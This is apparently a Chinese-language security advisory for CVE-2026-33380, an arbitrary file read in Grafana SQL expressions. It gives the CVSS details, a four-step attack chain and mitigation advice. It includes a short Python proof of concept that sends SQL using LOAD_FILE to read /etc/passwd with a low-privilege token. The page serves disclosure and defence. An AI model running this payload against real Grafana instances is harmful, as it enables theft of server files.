IPBUF安全漏洞报告
English
CVE-2026-33380 CVSS 6.3 中危

CVE-2026-33380 Grafana SQL表达式任意文件读取漏洞

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-33380
漏洞类型
任意文件读取
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Grafana

相关标签

Grafana任意文件读取SQL注入中危CVE-2026-33380

漏洞概述

Grafana在SQL表达式功能中存在安全漏洞,允许经过身份认证的攻击者从服务器文件系统读取任意文件。该漏洞仅影响启用了sqlExpressions功能开关的实例。攻击者利用此漏洞可获取服务器上的敏感信息,CVSS评分为6.3。

技术细节

该漏洞源于Grafana处理SQL表达式时的逻辑缺陷。当`sqlExpressions`功能开关被启用时,系统允许用户通过SQL查询进行数据操作。由于未对用户输入的SQL语句进行充分的上下文隔离或过滤,攻击者可以利用数据库底层支持的文件读取函数(如MySQL的`LOAD_FILE`或PostgreSQL的`pg_read_file`),构造恶意的SQL表达式。这使得低权限攻击者能够绕过应用层限制,直接查询并读取服务器本地文件系统中的任意文件内容。

攻击链分析

STEP 1
信息收集
攻击者识别目标Grafana实例,并确认其启用了sqlExpressions功能。
STEP 2
认证获取
攻击者通过合法或非法手段获取一个低权限的Grafana账户凭证。
STEP 3
漏洞利用
攻击者使用该凭证向API发送包含恶意文件读取SQL语句的请求。
STEP 4
数据窃取
服务器解析恶意SQL表达式,读取文件内容并返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://vulnerable-grafana-instance/api/datasources/proxy/uid/xxxxx" auth_token = "Bearer <LOW_PRIVILEGE_USER_TOKEN>" # Headers headers = { "Authorization": auth_token, "Content-Type": "application/json" } # Malicious SQL Expression payload attempting to read /etc/passwd # Note: The specific SQL function depends on the underlying database type payload = { "expression": "SELECT LOAD_FILE('/etc/passwd')" } try: response = requests.post(target_url, json=payload, headers=headers) if response.status_code == 200: print("[+] Exploit successful! File content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

所有启用了 sqlExpressions 功能的版本

防御指南

临时缓解措施
如果无法立即升级,建议管理员在Grafana配置文件中禁用`sqlExpressions`功能特性,并审查日志以检测是否存在异常的文件读取行为。同时,应加强对低权限用户的API访问监控。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表